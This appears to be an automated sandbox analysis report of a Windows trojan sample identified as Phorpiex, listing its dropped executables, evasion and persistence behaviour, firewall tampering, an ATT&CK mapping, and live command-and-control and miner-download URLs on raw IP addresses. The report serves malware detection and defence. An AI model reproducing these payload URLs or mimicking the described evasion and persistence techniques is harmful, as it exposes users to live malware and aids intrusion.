Windows Analysis Report
Id4zlrsrZ4.exe

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_004092E0	0_2_004092E0
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040F088	0_2_0040F088
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_00402E90	0_2_00402E90
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_00406950	0_2_00406950
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_00406979	0_2_00406979
Source: C:\Windows\winrecsv.exe	Code function: 1_2_004092E0	1_2_004092E0
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040F088	1_2_0040F088
Source: C:\Windows\winrecsv.exe	Code function: 1_2_00402E90	1_2_00402E90
Source: C:\Windows\winrecsv.exe	Code function: 1_2_00406950	1_2_00406950
Source: C:\Windows\winrecsv.exe	Code function: 1_2_00406979	1_2_00406979
Source: C:\Windows\winrecsv.exe	Code function: 5_2_004092E0	5_2_004092E0
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040F088	5_2_0040F088
Source: C:\Windows\winrecsv.exe	Code function: 5_2_00402E90	5_2_00402E90
Source: C:\Windows\winrecsv.exe	Code function: 5_2_00406950	5_2_00406950
Source: C:\Windows\winrecsv.exe	Code function: 5_2_00406979	5_2_00406979

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	0_2_0040C210
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040F2CD NtQueryVirtualMemory,	0_2_0040F2CD
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	1_2_0040C210
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040F2CD NtQueryVirtualMemory,	1_2_0040F2CD
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040C210 NtQuerySystemTime,RtlTimeToSecondsSince1980,	5_2_0040C210
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040F2CD NtQueryVirtualMemory,	5_2_0040F2CD

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\509517324.exe F97C43BF3DCE6180E658F2C3776E31CF52472B28AC8249BE4D307880B6405EEB

Source: Id4zlrsrZ4.exe	Virustotal: Detection: 70%
Source: Id4zlrsrZ4.exe	ReversingLabs: Detection: 74%

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

File read: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Source: Id4zlrsrZ4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Id4zlrsrZ4.exe "C:\Users\user\Desktop\Id4zlrsrZ4.exe"
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Process created: C:\Windows\winrecsv.exe C:\Windows\winrecsv.exe
Source: unknown	Process created: C:\Windows\winrecsv.exe "C:\Windows\winrecsv.exe"
Source: C:\Windows\winrecsv.exe	Process created: C:\Users\user\AppData\Local\Temp\509517324.exe C:\Users\user~1\AppData\Local\Temp\509517324.exe
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Process created: C:\Windows\winrecsv.exe C:\Windows\winrecsv.exe	Jump to behavior
Source: C:\Windows\winrecsv.exe	Process created: C:\Users\user\AppData\Local\Temp\509517324.exe C:\Users\user~1\AppData\Local\Temp\509517324.exe	Jump to behavior

Source: C:\Windows\winrecsv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\winrecsv.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\1[1]

Source: C:\Windows\winrecsv.exe

File created: C:\Users\user~1\AppData\Local\Temp\509517324.exe

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@8/7@0/7

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Code function: 0_2_004054D0 CoCreateInstance,

0_2_004054D0

Source: C:\Users\user\AppData\Local\Temp\509517324.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Code function: 0_2_004050B0 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

0_2_004050B0

Source: C:\Windows\winrecsv.exe

Mutant created: \Sessions\1\BaseNamedObjects\984658

Source: C:\Windows\winrecsv.exe

File read: C:\Windows\System32\drivers\etc\hosts

Drops executables to the windows directory (C:\Windows) and starts them

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Executable created and started: C:\Windows\winrecsv.exe

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	File created: C:\Windows\winrecsv.exe			Jump to dropped file
Source: C:\Windows\winrecsv.exe	File created: C:\Users\user\AppData\Local\Temp\509517324.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

File created: C:\Windows\winrecsv.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	File opened: C:\Users\user\Desktop\Id4zlrsrZ4.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\winrecsv.exe	File opened: C:\Windows\winrecsv.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\winrecsv.exe	File opened: C:\Users\user~1\AppData\Local\Temp\509517324.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	File opened: C:\Users\user~1\AppData\Local\Temp\1840439288.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\winrecsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\winrecsv.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_1-4253
Source: C:\Windows\winrecsv.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_1-4253
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_0-4253
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_0-4253

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040B8F0	0_2_0040B8F0
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040B8F0	1_2_0040B8F0
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040B8F0	5_2_0040B8F0

Source: C:\Windows\winrecsv.exe TID: 6628	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe TID: 6820	Thread sleep time: -263395s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe TID: 6820	Thread sleep time: -225895s >= -30000s	Jump to behavior

Source: C:\Windows\winrecsv.exe

Last function: Thread delayed

Source: C:\Windows\winrecsv.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Thread delayed: delay time: 263395	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Thread delayed: delay time: 225895	Jump to behavior

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Evaded block: after key decision			graph_0-4341
Source: C:\Windows\winrecsv.exe	Evaded block: after key decision			graph_1-4253

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-4267
Source: C:\Windows\winrecsv.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep
Source: C:\Windows\winrecsv.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-4267

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	API coverage: 3.4 %
Source: C:\Windows\winrecsv.exe	API coverage: 1.2 %

Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040B8F0		5_2_0040B8F0
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040B8F0		0_2_0040B8F0

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Code function: 0_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

0_2_0040EEA0

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00404A90
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00404BD0
Source: C:\Windows\winrecsv.exe	Code function: 1_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00404A90
Source: C:\Windows\winrecsv.exe	Code function: 1_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_00404BD0
Source: C:\Windows\winrecsv.exe	Code function: 5_2_00404A90 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00404A90
Source: C:\Windows\winrecsv.exe	Code function: 5_2_00404BD0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	5_2_00404BD0

Source: C:\Windows\winrecsv.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Thread delayed: delay time: 263395	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\509517324.exe	Thread delayed: delay time: 225895	Jump to behavior

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	API call chain: ExitProcess graph end node	graph_0-4254
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	API call chain: ExitProcess graph end node	graph_0-4279
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_1-4279
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node	graph_1-4314
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\winrecsv.exe	API call chain: ExitProcess graph end node

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 509517324.exe, 00000007.00000002.420283496.000000000122F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 509517324.exe, 00000007.00000002.420283496.000000000122F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.me
Source: 509517324.exe, 00000007.00000002.420271661.0000000001228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: 509517324.exe, 00000007.00000002.420271661.0000000001228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 35 44 6e 75 85 11 47-bd a2 bb ed 21 43 9f 89
Source: 509517324.exe, 00000007.00000002.420240113.0000000001203000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`[#
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe

Code function: 0_2_00408C70 GetProcessHeaps,

0_2_00408C70

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: GetLocaleInfoA,	0_2_0040D4A0
Source: C:\Windows\winrecsv.exe	Code function: GetLocaleInfoA,	1_2_0040D4A0
Source: C:\Windows\winrecsv.exe	Code function: GetLocaleInfoA,	5_2_0040D4A0

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\winrecsv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Source: Amcache.hve.7.dr

Binary or memory string: c:\program files\windows defender\msmpeng.exe

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: Id4zlrsrZ4.exe, type: SAMPLE
Source: Yara match	File source: 5.0.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Id4zlrsrZ4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.winrecsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Id4zlrsrZ4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.347600156.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.339631076.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.345540148.0000000000733000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.377037453.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.345529527.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.606945122.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.348024370.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Id4zlrsrZ4.exe PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winrecsv.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winrecsv.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\winrecsv.exe, type: DROPPED

Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	0_2_0040DC40
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	0_2_0040EEA0
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040E110 CreateEventA,socket,bind,CreateThread,	0_2_0040E110
Source: C:\Users\user\Desktop\Id4zlrsrZ4.exe	Code function: 0_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	0_2_0040C930
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	1_2_0040DC40
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	1_2_0040EEA0
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040E110 CreateEventA,socket,bind,CreateThread,	1_2_0040E110
Source: C:\Windows\winrecsv.exe	Code function: 1_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	1_2_0040C930
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040DC40 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	5_2_0040DC40
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040EEA0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	5_2_0040EEA0
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040E110 CreateEventA,socket,bind,CreateThread,	5_2_0040E110
Source: C:\Windows\winrecsv.exe	Code function: 5_2_0040C930 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	5_2_0040C930

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	Path Interception	1 Process Injection	121 Masquerading	21 Input Capture	231 Security Software Discovery	Remote Services	21 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	2 Clipboard Data	Automated Exfiltration	4 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Process Injection	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	12 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Id4zlrsrZ4.exe	70%	Virustotal		Browse
Id4zlrsrZ4.exe	74%	ReversingLabs	Win32.Trojan.FWDisable
Id4zlrsrZ4.exe	100%	Avira	HEUR/AGEN.1237550
Id4zlrsrZ4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\winrecsv.exe	100%	Avira	HEUR/AGEN.1237550
C:\Users\user\AppData\Local\Temp\509517324.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Windows\winrecsv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\509517324.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\509517324.exe	52%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\509517324.exe	88%	ReversingLabs	Win32.Trojan.Donut
C:\Windows\winrecsv.exe	74%	ReversingLabs	Win32.Trojan.FWDisable

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.Id4zlrsrZ4.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
7.0.509517324.exe.10d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
5.0.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
1.0.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
1.2.winrecsv.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
0.0.Id4zlrsrZ4.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237550	Download File
7.2.509517324.exe.10d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.215.113.66/twizt/3Strong	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/984658winrecsv.exeWindows	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exe	15%	Virustotal		Browse
http://185.215.113.84/xmrminer.exe	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exeBLk	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/1NNC:	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/3l=8	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/4lH9	100%	Avira URL Cloud	malware
http://2462462645.fr/	0%	Avira URL Cloud	safe
http://185.215.113.66/twizt/6k8	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exe(	100%	Avira URL Cloud	malware
http://2462462645.fr/5797957298589274527842dgd828d8g8fg8g8gfeu8gf8g2gf8g2fgaefafugaugfgauegfaefyaieg	0%	Avira URL Cloud	safe
http://185.215.113.66/twizt/3lZ9	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/15C5FCA7	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/3l	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/6lS9	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exer	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exes	100%	Avira URL Cloud	malware
http://185.215.113.66/B1-4D5E-B0E7-362EE23EA443	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/5#8u	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/19	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exe~	100%	Avira URL Cloud	malware
http://185.215.113.66/	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/6	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/5	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/2	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/1	100%	Avira URL Cloud	malware
http://185.215.113.84/xmrminer.exero/	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/4	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/3	100%	Avira URL Cloud	malware
http://185.215.113.66/twizt/3E8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.84/xmrminer.exe	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/6	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/5	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/2	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/1	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/4	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/3	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/twizt/3Strong	winrecsv.exe, 00000005.00000003.448558044.00000000031AD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/984658winrecsv.exeWindows	Id4zlrsrZ4.exe, winrecsv.exe.0.dr	true	Avira URL Cloud: malware	unknown
http://185.215.113.84/xmrminer.exeBLk	509517324.exe, 00000007.00000002.420296695.000000000123D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	winrecsv.exe.0.dr	false		high
http://185.215.113.66/twizt/1NNC:	winrecsv.exe, 00000005.00000003.389365979.0000000003153000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/3l=8	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/4lH9	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://2462462645.fr/	winrecsv.exe, winrecsv.exe, 00000005.00000002.606960359.0000000000413000.00000004.00000001.01000000.00000004.sdmp, winrecsv.exe, 00000005.00000000.377043204.0000000000413000.00000008.00000001.01000000.00000004.sdmp, Id4zlrsrZ4.exe, winrecsv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	winrecsv.exe.0.dr	false		high
